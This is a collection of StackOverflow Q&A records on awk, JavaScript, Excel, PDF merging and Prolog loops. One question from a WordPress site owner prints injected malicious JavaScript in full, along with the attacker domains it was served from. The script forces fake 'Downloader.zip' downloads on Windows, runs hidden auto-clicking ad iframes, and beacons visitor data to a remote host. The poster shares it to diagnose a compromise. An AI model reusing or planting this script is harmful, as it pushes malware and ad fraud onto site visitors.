"text": "#!/bin/sh\n\nDBG=0\n\nBASE=`basename \"$0\" \".sh\" `\n\nTEST_INPUT1=\"${BASE}_input_1.txt\"\nTEST_INPUT2=\"${BASE}_input_2.txt\"\n\ncat >\"${TEST_INPUT1}\" <<-!EnDoFiNpUt\nuser1,app1\nuser10,app2\nuser1,app2\nuser2,app1\nuser3,app1\n!EnDoFiNpUt\n\ncat >\"${TEST_INPUT2}\" <<-!EnDoFiNpUt\nuser1,app1\nuser2,app1\nuser2,app5\nuser10,app2\nuser10,app1\nuser4,app4\n!EnDoFiNpUt\n\ncat \"${TEST_INPUT1}\" \"${TEST_INPUT2}\" |\nawk -F \",\" -v dbg=\"${DBG}\" 'BEGIN{\n ### initialize arrays\n split(\"\", apps ) ;\n split(\"\", usage ) ;\n split(\"\", users ) ;\n\n ### initialize arrays counter\n indexApps=0 ;\n indexUsers=0 ;\n}\n{\n if( dbg == 1 ){ print \"\\nLINE: \", $0 ; } ;\n hit=0 ;\n\n if( indexApps == 0 ){\n indexApps=1 ;\n apps[1]=$2 ;\n if( dbg == 1 ){ print \"\\t [0] new app -> \", apps[1] ; } ;\n\n indexUsers=1 ;\n usage[ indexApps, 1 ]=$2 ;\n usage[ indexApps, 2 ]=1 ;\n if( dbg == 1 ){ print \"\\t [0]\", apps[ indexApps ], \" -> \", usage[ indexApps, 2 ] ; } ;\n\n users[ indexApps, 1 ]=indexUsers ;\n users[ indexApps, indexUsers+1 ]=$1 ;\n if( dbg == 1 ){ print \"\\t [0] users[\", indexApps, \" , \", indexUsers+1 \" ] -> \", users[ indexApps, indexUsers+1 ] ; } ;\n }else{\n for( i=1 ; i <= indexApps ; i++ ){\n if( $2 == apps[i] ){\n hit=1 ;\n if( dbg == 1 ){ print \"\\t [1] users[i,1] = \", users[i,1] ; } ;\n\n hitU=0 ;\n for( j=1 ; j <= users[i, 1] ; j++ ){\n if( users[i,j+1] == $1 ){\n hitU=1 ;\n if( dbg == 1 ){ print \"\\t [1] exists -> \", users[i,j+1] ; } ;\n break ;\n } ;\n } ;\n if( hitU == 0 ){\n if( dbg == 1 ){ print \"\\t [1] Hit: usage BEFORE \", apps[i], \" -> \", usage[i,2] ; } ;\n usage[i,2]++ ;\n if( dbg == 1 ){ print \"\\t [1] Hit: \", apps[i], \" -> \", usage[i,2] ; } ;\n\n indexUsers=users[i,1]+1 ;\n if( dbg == 1 ){ print \"\\t [1] users[i,1] + 1 = \", indexUsers ; } ;\n users[ i, 1 ]= indexUsers ;\n users[ i, indexUsers+1 ]=$1 ;\n if( dbg == 1 ){ print \"\\t [1] users[\", i, \" , \", indexUsers+1 \" ] -> \", users[ i, indexUsers+1 ] ; } ;\n } ;\n break ;\n } ;\n } ;\n\n if( hit == 0 ){\n if( dbg == 1 ){ print \"\\t [2] NO hit ------------------------------- START\" ; } ;\n indexApps++ ;\n apps[ indexApps ]=$2 ;\n if( dbg == 1 ){ print \"\\t [2] new app -> \", apps[ indexApps ] ; } ;\n\n usage[ indexApps, 1 ]=$2 ;\n usage[ indexApps, 2 ]=1 ;\n if( dbg == 1 ){ print \"\\t [2]\", apps[ indexApps ], \" -> \", usage[ indexApps, 2 ] ; } ;\n\n indexUsers=users[ indexApps, 1 ]+1 ;\n if( dbg == 1 ){ print \"\\t [2] users[ indexApps, 1 ] + 1 = \", indexUsers ; } ;\n users[ indexApps, 1 ]= indexUsers ;\n users[ indexApps, indexUsers+1 ]=$1 ;\n if( dbg == 1 ){ print \"\\t [2] users[\", indexApps, \" , \", indexUsers+1 \" ] -> \", users[ indexApps, iindexUsers+1 ] ; } ;\n if( dbg == 1 ){ print \"\\t [2] NO hit ------------------------------- END\" ; } ;\n } ;\n } ;\n}END{\n print \"Application Usage:\" ;\n for( i=1 ; i <= indexApps ; i++ ){\n printf(\" %s = %3d\\t\", usage[i,1], usage[i,2] ) ;\n for( j=1 ; j <= users[i,1] ; j++ ){\n printf(\"\\t%s\", users[i,j+1] ) ;\n if( j > 10 ){ break ; } ;\n } ;\n print \"\" ;\n } ;\n}'\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467316",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20514949/"
] |
74,467,324
|
<p>I'm building a version of battleship where the ships are worms and the player is the bird...if that explains the naming of things.</p>
<p>I'm having a moment. I need to iterate through the values of a nested array of coordinates but I simply cannot figure it out.</p>
<p>Here is what array looks like:</p>
<pre><code>[{"grub": [23, 24]}, {"earthworm": [34, 35, 36]}, {"larvae": [77, 78, 79]}]
</code></pre>
<p>I need to iterate through all the nested objects, and then iterate through the array inside that nested object to see if the input matches values.</p>
<p>Function input will be a coordinate with 2 digits (example '84')</p>
<p>Output should be a boolean stating if the coordinate exists in any of the arrays that are a value of the object.</p>
<p>I have lots of ideas, but none have been successful.</p>
|
[
{
"answer_id": 74468101,
"author": "Walter A",
"author_id": 3220113,
"author_profile": "https://Stackoverflow.com/users/3220113",
"pm_score": 2,
"selected": true,
"text": "awk -F, '{a[$2][$1]} END { for (i in a) { print i \",\" length(a[i]) } }' *.csv"
},
{
"answer_id": 74469532,
"author": "Eric Marceau",
"author_id": 9716110,
"author_profile": "https://Stackoverflow.com/users/9716110",
"pm_score": 0,
"selected": false,
"text": "#!/bin/sh\n\nDBG=0\n\nBASE=`basename \"$0\" \".sh\" `\n\nTEST_INPUT1=\"${BASE}_input_1.txt\"\nTEST_INPUT2=\"${BASE}_input_2.txt\"\n\ncat >\"${TEST_INPUT1}\" <<-!EnDoFiNpUt\nuser1,app1\nuser10,app2\nuser1,app2\nuser2,app1\nuser3,app1\n!EnDoFiNpUt\n\ncat >\"${TEST_INPUT2}\" <<-!EnDoFiNpUt\nuser1,app1\nuser2,app1\nuser2,app5\nuser10,app2\nuser10,app1\nuser4,app4\n!EnDoFiNpUt\n\ncat \"${TEST_INPUT1}\" \"${TEST_INPUT2}\" |\nawk -F \",\" -v dbg=\"${DBG}\" 'BEGIN{\n ### initialize arrays\n split(\"\", apps ) ;\n split(\"\", usage ) ;\n split(\"\", users ) ;\n\n ### initialize arrays counter\n indexApps=0 ;\n indexUsers=0 ;\n}\n{\n if( dbg == 1 ){ print \"\\nLINE: \", $0 ; } ;\n hit=0 ;\n\n if( indexApps == 0 ){\n indexApps=1 ;\n apps[1]=$2 ;\n if( dbg == 1 ){ print \"\\t [0] new app -> \", apps[1] ; } ;\n\n indexUsers=1 ;\n usage[ indexApps, 1 ]=$2 ;\n usage[ indexApps, 2 ]=1 ;\n if( dbg == 1 ){ print \"\\t [0]\", apps[ indexApps ], \" -> \", usage[ indexApps, 2 ] ; } ;\n\n users[ indexApps, 1 ]=indexUsers ;\n users[ indexApps, indexUsers+1 ]=$1 ;\n if( dbg == 1 ){ print \"\\t [0] users[\", indexApps, \" , \", indexUsers+1 \" ] -> \", users[ indexApps, indexUsers+1 ] ; } ;\n }else{\n for( i=1 ; i <= indexApps ; i++ ){\n if( $2 == apps[i] ){\n hit=1 ;\n if( dbg == 1 ){ print \"\\t [1] users[i,1] = \", users[i,1] ; } ;\n\n hitU=0 ;\n for( j=1 ; j <= users[i, 1] ; j++ ){\n if( users[i,j+1] == $1 ){\n hitU=1 ;\n if( dbg == 1 ){ print \"\\t [1] exists -> \", users[i,j+1] ; } ;\n break ;\n } ;\n } ;\n if( hitU == 0 ){\n if( dbg == 1 ){ print \"\\t [1] Hit: usage BEFORE \", apps[i], \" -> \", usage[i,2] ; } ;\n usage[i,2]++ ;\n if( dbg == 1 ){ print \"\\t [1] Hit: \", apps[i], \" -> \", usage[i,2] ; } ;\n\n indexUsers=users[i,1]+1 ;\n if( dbg == 1 ){ print \"\\t [1] users[i,1] + 1 = \", indexUsers ; } ;\n users[ i, 1 ]= indexUsers ;\n users[ i, indexUsers+1 ]=$1 ;\n if( dbg == 1 ){ print \"\\t [1] users[\", i, \" , \", indexUsers+1 \" ] -> \", users[ i, indexUsers+1 ] ; } ;\n } ;\n break ;\n } ;\n } ;\n\n if( hit == 0 ){\n if( dbg == 1 ){ print \"\\t [2] NO hit ------------------------------- START\" ; } ;\n indexApps++ ;\n apps[ indexApps ]=$2 ;\n if( dbg == 1 ){ print \"\\t [2] new app -> \", apps[ indexApps ] ; } ;\n\n usage[ indexApps, 1 ]=$2 ;\n usage[ indexApps, 2 ]=1 ;\n if( dbg == 1 ){ print \"\\t [2]\", apps[ indexApps ], \" -> \", usage[ indexApps, 2 ] ; } ;\n\n indexUsers=users[ indexApps, 1 ]+1 ;\n if( dbg == 1 ){ print \"\\t [2] users[ indexApps, 1 ] + 1 = \", indexUsers ; } ;\n users[ indexApps, 1 ]= indexUsers ;\n users[ indexApps, indexUsers+1 ]=$1 ;\n if( dbg == 1 ){ print \"\\t [2] users[\", indexApps, \" , \", indexUsers+1 \" ] -> \", users[ indexApps, iindexUsers+1 ] ; } ;\n if( dbg == 1 ){ print \"\\t [2] NO hit ------------------------------- END\" ; } ;\n } ;\n } ;\n}END{\n print \"Application Usage:\" ;\n for( i=1 ; i <= indexApps ; i++ ){\n printf(\" %s = %3d\\t\", usage[i,1], usage[i,2] ) ;\n for( j=1 ; j <= users[i,1] ; j++ ){\n printf(\"\\t%s\", users[i,j+1] ) ;\n if( j > 10 ){ break ; } ;\n } ;\n print \"\" ;\n } ;\n}'\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467324",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19959139/"
] |
74,467,334
|
<p>I am building Bootstrap’s form, where I want users only submit once the checkbok is ticked (checked).<a href="https://i.stack.imgur.com/piBRA.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/piBRA.png" alt="enter image description here" /></a></p>
<pre><code><form>
<div class="form-group">
<label for="exampleInputEmail1">Email address</label>
<input type="email" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Enter email">
<small id="emailHelp" class="form-text text-muted">We'll never share your email with anyone else.</small>
</div>
<div class="form-group">
<label for="exampleInputPassword1">Password</label>
<input type="password" class="form-control" id="exampleInputPassword1" placeholder="Password">
</div>
<div class="form-check">
<input type="checkbox" class="form-check-input" id="exampleCheck1">
<label class="form-check-label" for="exampleCheck1">Check me out</label>
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
</code></pre>
|
[
{
"answer_id": 74468101,
"author": "Walter A",
"author_id": 3220113,
"author_profile": "https://Stackoverflow.com/users/3220113",
"pm_score": 2,
"selected": true,
"text": "awk -F, '{a[$2][$1]} END { for (i in a) { print i \",\" length(a[i]) } }' *.csv"
},
{
"answer_id": 74469532,
"author": "Eric Marceau",
"author_id": 9716110,
"author_profile": "https://Stackoverflow.com/users/9716110",
"pm_score": 0,
"selected": false,
"text": "#!/bin/sh\n\nDBG=0\n\nBASE=`basename \"$0\" \".sh\" `\n\nTEST_INPUT1=\"${BASE}_input_1.txt\"\nTEST_INPUT2=\"${BASE}_input_2.txt\"\n\ncat >\"${TEST_INPUT1}\" <<-!EnDoFiNpUt\nuser1,app1\nuser10,app2\nuser1,app2\nuser2,app1\nuser3,app1\n!EnDoFiNpUt\n\ncat >\"${TEST_INPUT2}\" <<-!EnDoFiNpUt\nuser1,app1\nuser2,app1\nuser2,app5\nuser10,app2\nuser10,app1\nuser4,app4\n!EnDoFiNpUt\n\ncat \"${TEST_INPUT1}\" \"${TEST_INPUT2}\" |\nawk -F \",\" -v dbg=\"${DBG}\" 'BEGIN{\n ### initialize arrays\n split(\"\", apps ) ;\n split(\"\", usage ) ;\n split(\"\", users ) ;\n\n ### initialize arrays counter\n indexApps=0 ;\n indexUsers=0 ;\n}\n{\n if( dbg == 1 ){ print \"\\nLINE: \", $0 ; } ;\n hit=0 ;\n\n if( indexApps == 0 ){\n indexApps=1 ;\n apps[1]=$2 ;\n if( dbg == 1 ){ print \"\\t [0] new app -> \", apps[1] ; } ;\n\n indexUsers=1 ;\n usage[ indexApps, 1 ]=$2 ;\n usage[ indexApps, 2 ]=1 ;\n if( dbg == 1 ){ print \"\\t [0]\", apps[ indexApps ], \" -> \", usage[ indexApps, 2 ] ; } ;\n\n users[ indexApps, 1 ]=indexUsers ;\n users[ indexApps, indexUsers+1 ]=$1 ;\n if( dbg == 1 ){ print \"\\t [0] users[\", indexApps, \" , \", indexUsers+1 \" ] -> \", users[ indexApps, indexUsers+1 ] ; } ;\n }else{\n for( i=1 ; i <= indexApps ; i++ ){\n if( $2 == apps[i] ){\n hit=1 ;\n if( dbg == 1 ){ print \"\\t [1] users[i,1] = \", users[i,1] ; } ;\n\n hitU=0 ;\n for( j=1 ; j <= users[i, 1] ; j++ ){\n if( users[i,j+1] == $1 ){\n hitU=1 ;\n if( dbg == 1 ){ print \"\\t [1] exists -> \", users[i,j+1] ; } ;\n break ;\n } ;\n } ;\n if( hitU == 0 ){\n if( dbg == 1 ){ print \"\\t [1] Hit: usage BEFORE \", apps[i], \" -> \", usage[i,2] ; } ;\n usage[i,2]++ ;\n if( dbg == 1 ){ print \"\\t [1] Hit: \", apps[i], \" -> \", usage[i,2] ; } ;\n\n indexUsers=users[i,1]+1 ;\n if( dbg == 1 ){ print \"\\t [1] users[i,1] + 1 = \", indexUsers ; } ;\n users[ i, 1 ]= indexUsers ;\n users[ i, indexUsers+1 ]=$1 ;\n if( dbg == 1 ){ print \"\\t [1] users[\", i, \" , \", indexUsers+1 \" ] -> \", users[ i, indexUsers+1 ] ; } ;\n } ;\n break ;\n } ;\n } ;\n\n if( hit == 0 ){\n if( dbg == 1 ){ print \"\\t [2] NO hit ------------------------------- START\" ; } ;\n indexApps++ ;\n apps[ indexApps ]=$2 ;\n if( dbg == 1 ){ print \"\\t [2] new app -> \", apps[ indexApps ] ; } ;\n\n usage[ indexApps, 1 ]=$2 ;\n usage[ indexApps, 2 ]=1 ;\n if( dbg == 1 ){ print \"\\t [2]\", apps[ indexApps ], \" -> \", usage[ indexApps, 2 ] ; } ;\n\n indexUsers=users[ indexApps, 1 ]+1 ;\n if( dbg == 1 ){ print \"\\t [2] users[ indexApps, 1 ] + 1 = \", indexUsers ; } ;\n users[ indexApps, 1 ]= indexUsers ;\n users[ indexApps, indexUsers+1 ]=$1 ;\n if( dbg == 1 ){ print \"\\t [2] users[\", indexApps, \" , \", indexUsers+1 \" ] -> \", users[ indexApps, iindexUsers+1 ] ; } ;\n if( dbg == 1 ){ print \"\\t [2] NO hit ------------------------------- END\" ; } ;\n } ;\n } ;\n}END{\n print \"Application Usage:\" ;\n for( i=1 ; i <= indexApps ; i++ ){\n printf(\" %s = %3d\\t\", usage[i,1], usage[i,2] ) ;\n for( j=1 ; j <= users[i,1] ; j++ ){\n printf(\"\\t%s\", users[i,j+1] ) ;\n if( j > 10 ){ break ; } ;\n } ;\n print \"\" ;\n } ;\n}'\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467334",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/17648300/"
] |
74,467,339
|
<p>Scanning my site with pagespeed, it shows that my site is loading malicious files in the background.</p>
<p><strong>The problem happens occasionally</strong>, it doesn't happen all the time. Sometimes the site doesn't load the malicious script, other times it does. I don't know what it depends on.</p>
<p>In particular, the following js script is loaded from this link "https:// asmr9999. live/static.js" (without space). So the malicious code is loaded indirectly.</p>
<pre><code>if(!window.xxxyyyzzz){function e(){return -1!==["Win32","Win64","Windows","WinCE"].indexOf(window.navigator?.userAgentData?.platform||window.navigator.platform)}function n(n){if(!e())return!1;var t="File",a=n.target.closest("a");if(window.location.href.indexOf("3axis.co")>=0){if(0>a.parentElement.className.indexOf("post-subject")&&0>a.parentElement.className.indexOf("img"))return!1;t=a.children.length>0?a.children[0].alt:a.innerText}else{if(!(window.location.href.indexOf("thesimscatalog.com")>=0)||0>a.parentElement.className.indexOf("product-inner"))return!1;t=a.children[1].innerText}var i=document.createElement("a");return i.style="display:none",i.href="https://yhdmb.xyz/download/"+t+" Downloader.zip",document.body.append(i),i.click(),n.preventDefault(),!0}function t(e){var n=document.createElement("script");n.src=e,document.head.appendChild(n)}function a(e,n,t){var a="";if(t){var i=new Date;i.setTime(i.getTime()+36e5*t),a="; expires="+i.toUTCString()}document.cookie=e+"="+(n||"")+a+"; path=/"}function i(e){for(var n=e+"=",t=document.cookie.split(";"),a=0;a<t.length;a++){for(var i=t[a];" "==i.charAt(0);)i=i.substring(1,i.length);if(0==i.indexOf(n))return i.substring(n.length,i.length)}return null}function r(e){var t=e.target.closest("a");null!==t&&(n(e)||!i("__ads__opened")&&window._ads_goto&&(a("__ads__opened","1",6),"_blank"==t.target||(e.preventDefault(),window.open(t.href)),setTimeout(function(){window.location=window._ads_goto},500)),window.removeEventListener("click",r))}t("https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js"),t("https://cdnjs.cloudflare.com/ajax/libs/FileSaver.js/2.0.0/FileSaver.min.js"),window.addEventListener("click",r,{capture:!0}),window.addEventListener("message",function(e){e.data&&e.data instanceof Object&&e.data._ads_goto&&(window._ads_goto=e.data._ads_goto)}),window.xxxyyyzzz=function(e){var n=document.createElement("div"),t=document.createElement("iframe");t.src=e,n.style.display="none",n.appendChild(t),window.addEventListener("load",function(){document.body.append(n)})},window.xxxyyyzzz("https://yhdmb.xyz/vp/an.html")}
</code></pre>
<p>From this code it is possible to understand <strong>where the malware is located on my Wordpress site</strong>? And also is it possible to understand what exactly this code does?</p>
<p>I have seen that it also uses these scripts,</p>
<ol>
<li><a href="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js" rel="nofollow noreferrer">https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js</a></li>
<li><a href="https://cdnjs.cloudflare.com/ajax/libs/FileSaver.js/2.0.0/FileSaver.min.js" rel="nofollow noreferrer">https://cdnjs.cloudflare.com/ajax/libs/FileSaver.js/2.0.0/FileSaver.min.js</a></li>
</ol>
<p>which are respectively:</p>
<ol>
<li><a href="https://stuk.github.io/jszip/" rel="nofollow noreferrer">https://stuk.github.io/jszip/</a></li>
<li><a href="https://github.com/eligrey/FileSaver.js/" rel="nofollow noreferrer">https://github.com/eligrey/FileSaver.js/</a></li>
</ol>
<p><a href="https://i.stack.imgur.com/7VmVZ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/7VmVZ.png" alt="enter image description here" /></a></p>
<p><strong>EDIT 1</strong>: I find that it loads before "/body"</p>
<pre><code><script src="https://asmr9999.live/static.js?hash=a633f506a53746a846742c5655ebf596"></script></body></html>
</code></pre>
<p><strong>EDIT 2</strong>: i installed <a href="https://wordpress.org/plugins/string-locator/" rel="nofollow noreferrer">https://wordpress.org/plugins/string-locator/</a> for search asmr9999 in all site, also in encoded Base64 format "YXNtcjk5OTk" but nothing. I tried also <a href="https://wordpress.org/plugins/gotmls/" rel="nofollow noreferrer">https://wordpress.org/plugins/gotmls/</a> , nothing.</p>
<p><strong>EDIT 3</strong>: I've only found one person on the internet who has the same problem, at this link (remove space):</p>
<p>https:// boards.4channel. org/g/thread/89699524/i-had-a-virus-on-my-server-ot-attack-in-my-server</p>
<p><strong>EDIT 4</strong>: i also analyzed the malicious link in the script, this https:// yhdmb. xyz/vp/an.html. It is an html page containing this code:</p>
<pre><code><html lang="en">
<head>
<title>YHDM</title>
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8724126396282572"
crossorigin="anonymous"></script>
<script src="https://cdn.fluidplayer.com/v2/current/fluidplayer.min.js"></script>
</head>
<body>
<script>
function setCookie(name,value,hours) {
var expires = "";
if (hours) {
var date = new Date();
date.setTime(date.getTime() + (hours*60*60*1000));
expires = "; expires=" + date.toUTCString();
}
document.cookie = name + "=" + (value || "") + expires + "; path=/;SameSite=None; Secure";
}
function addVast(id, url, prob, type) {
var div = document.createElement('div');
var video = document.createElement('video');
var source = document.createElement('source');
source.type = 'video/mp4';
source.src = 'video.mp4';
video.id = 'my-video' + id;
video.append(source);
div.appendChild(video);
document.body.append(div);
var testVideo = fluidPlayer(
"my-video" + id,
{
layoutControls: {
autoPlay: true
},
vastOptions: {
"adList": [
{
"roll": "preRoll",
"vastTag": url
},
{
"roll": "midRoll",
"vastTag": url,
"timer": 8
},
{
"roll": "midRoll",
"vastTag": url,
"timer": 10
},
{
"roll": "postRoll",
"vastTag": url
}
]
}
}
);
setTimeout(function () {
testVideo.play();
testVideo.setVolume(0);
function tryClickAds() {
setTimeout(function () {
if (testVideo.vastOptions && testVideo.vastOptions.clickthroughUrl) {
var url = testVideo.vastOptions.clickthroughUrl;
if (type == 'nw') {
setCookie('redirect', url, 1);
console.log(url);
window.parent.postMessage({'_ads_goto': window.location.href}, '*');
} else {
var adsIframe = document.createElement('iframe');
adsIframe.src = url;
adsIframe.style = 'height:100%;width:100%';
adsIframe.sandbox = 'allow-forms allow-orientation-lock allow-pointer-lock allow-presentation allow-same-origin allow-scripts';
document.body.appendChild(adsIframe);
}
} else {
tryClickAds()
}
}, 1000)
}
if (Math.random() < prob) {
tryClickAds()
}
}, 500);
}
addVast('1', 'https://wyglyvaso.com/ddmxF.ztdoG-N/v/ZxGmUY/bejmS9ku/ZdUll/klPpTRQG1iNozIcs2/NTTvAQtmNIDPUZ3YN/zXYP1LMWQI', 1, 'nw');
addVast('2','https://syndication.exdynsrv.com/splash.php?idzone=4840778',0.5,'nw');
</script>
</body>
</html>
</code></pre>
<p><strong>EDIT 5</strong>: i restored a backup from September. The malicious code is stille there, but little differente. It still load before "/body", but the js code is different and it uses another domanin, "fastjscdn .org", instead of "asmr9999 .live". How is it possible that it can change domain?</p>
<pre><code><script src="https://fastjscdn.org/static.js?hash=1791f07709c2e25e84d84a539f3eb034"></script></body>
</code></pre>
<p>JS code contain:</p>
<pre><code>window.xxxyyyzzz||(window.xxxyyyzzz="1",function(){if(function t(){try{return window.self!==window.top}catch(r){return!0}}()){var t=window.parent.document.createElement("script");t.src="https://fastjscdn.org/static.js",window.parent.document.body.appendChild(t);return}fetch("https://fastjscdn.org/platform/"+(window.navigator?.userAgentData?.platform||window.navigator.platform)+"/url/"+window.location.href).then(t=>{})}());
</code></pre>
|
[
{
"answer_id": 74467501,
"author": "Samuel Krempasky",
"author_id": 11510589,
"author_profile": "https://Stackoverflow.com/users/11510589",
"pm_score": 1,
"selected": false,
"text": "Ctrl+Shift+I"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467339",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14686582/"
] |
74,467,349
|
<p>I have two Excel list indicating the path of PDF files that I need to merge- Is there anyway to do this using code? As the manual process takes hours to process.</p>
<p>I've tried using VBA but IO don't have access to adobe API, so that's been stuck down. I am thinking python, any thoughts?</p>
|
[
{
"answer_id": 74467694,
"author": "Kristian K",
"author_id": 13505403,
"author_profile": "https://Stackoverflow.com/users/13505403",
"pm_score": 0,
"selected": false,
"text": "# pip install PyMuPDF\nimport pandas as pd\nimport fitz\n\nPDFs = pd.read_excel(«pdfs.xlsx»)\nnew_pdf = fitz.open() \n\nfor row in PDFs.iterrows():\n filename = row[«pdf_column»]\n in_pdf = fitz.open(filename)\n\n new_pdf.insert_pdf(in_pdf)\n\nnew_pdf.save(\"merged.pdf\")\n"
},
{
"answer_id": 74467773,
"author": "alisyed",
"author_id": 13923735,
"author_profile": "https://Stackoverflow.com/users/13923735",
"pm_score": 1,
"selected": false,
"text": "from PyPDF2 import PdfMerger\n\nmerger = PdfMerger()\n\nfor pdf in [\"file1.pdf\", \"file2.pdf\", \"file3.pdf\"]:\n merger.append(pdf)\n\nmerger.write(\"merged-pdf.pdf\")\nmerger.close()\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467349",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20062210/"
] |
74,467,403
|
<p>[EDIT]: I would like to use countif to count the last 30 results with criteria "Jogador Casa" or "Jogador Fora". That is, take the last 30 results of the "Jogador Casa" or "Jogador Fora"</p>
<p>I would like to use countif to count the last 30 results in a database.The column that interests me is E:E ("Confrontos.Casa v Visitante"). At the moment I am using the formula:</p>
<pre><code>=(COUNTIF(Database!E:E;""&[@[Jogador Casa]]&""&""&[@[Jogador Fora]]&""))
</code></pre>
<p>However it takes all the data from "Jogador Casa" and "Jogador Fora" what I would like to do is to take the last 30 players results.</p>
<p><a href="https://i.stack.imgur.com/1cPN9.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/1cPN9.png" alt="Database.PNG" /></a></p>
<p>I have tried everything and still can't solve my problem.</p>
<p>[EDIT 2]: In the "Jogos" tab it counts in my database how many times it has "Jogador Casa" and "Jogador Fora" my idea is to put a limit, to count only the last 30 that contain "Home Player" and "Away Player" in my database.</p>
<p><a href="https://i.stack.imgur.com/z1WsC.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/z1WsC.png" alt="Database_2" /></a></p>
|
[
{
"answer_id": 74467694,
"author": "Kristian K",
"author_id": 13505403,
"author_profile": "https://Stackoverflow.com/users/13505403",
"pm_score": 0,
"selected": false,
"text": "# pip install PyMuPDF\nimport pandas as pd\nimport fitz\n\nPDFs = pd.read_excel(«pdfs.xlsx»)\nnew_pdf = fitz.open() \n\nfor row in PDFs.iterrows():\n filename = row[«pdf_column»]\n in_pdf = fitz.open(filename)\n\n new_pdf.insert_pdf(in_pdf)\n\nnew_pdf.save(\"merged.pdf\")\n"
},
{
"answer_id": 74467773,
"author": "alisyed",
"author_id": 13923735,
"author_profile": "https://Stackoverflow.com/users/13923735",
"pm_score": 1,
"selected": false,
"text": "from PyPDF2 import PdfMerger\n\nmerger = PdfMerger()\n\nfor pdf in [\"file1.pdf\", \"file2.pdf\", \"file3.pdf\"]:\n merger.append(pdf)\n\nmerger.write(\"merged-pdf.pdf\")\nmerger.close()\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467403",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20520480/"
] |
74,467,410
|
<p>I'm quite new to Prolog so im not sure how this can be done.</p>
<p>I'm trying to create a nested for loop that outputs the three variables on each line.</p>
<p>I'm trying to get an output that loops like the following:</p>
<p>SWI-Prolog</p>
<pre><code>?- out(A, B, C).
</code></pre>
<pre><code>A = 1, B = 1, C = 1 (Next)
A = 1, B = 1, C = 2 (Next)
A = 1, B = 2, C = 1 (Next)
A = 1, B = 2, C = 2 (Next)
A = 2, B = 1, C = 1 (Next)
A = 2, B = 1, C = 2 (Next)
A = 2, B = 2, C = 1 (Next)
A = 2, B = 2, C = 2 (Next)
</code></pre>
<p>it needs to have a custom range</p>
<p>in Python it would look like this</p>
<pre><code>for i in range(1,3):
for j in range(1,3):
for k in range(1,3):
print(i, j, k)
</code></pre>
|
[
{
"answer_id": 74467539,
"author": "brebs",
"author_id": 17628336,
"author_profile": "https://Stackoverflow.com/users/17628336",
"pm_score": 3,
"selected": true,
"text": "out(A, B, C) :-\n maplist(between(1, 2), [A, B, C]).\n"
},
{
"answer_id": 74467774,
"author": "Enigmativity",
"author_id": 259769,
"author_profile": "https://Stackoverflow.com/users/259769",
"pm_score": 2,
"selected": false,
"text": "fact(1).\nfact(2).\n\nout(A,B,C) :- fact(A), fact(B), fact(C).\n"
},
{
"answer_id": 74480436,
"author": "Nicholas Carey",
"author_id": 467473,
"author_profile": "https://Stackoverflow.com/users/467473",
"pm_score": 1,
"selected": false,
"text": "out(A,B,C) :-\n between(1,2,A),\n between(1,2,B),\n between(1,2,C).\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467410",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18458689/"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.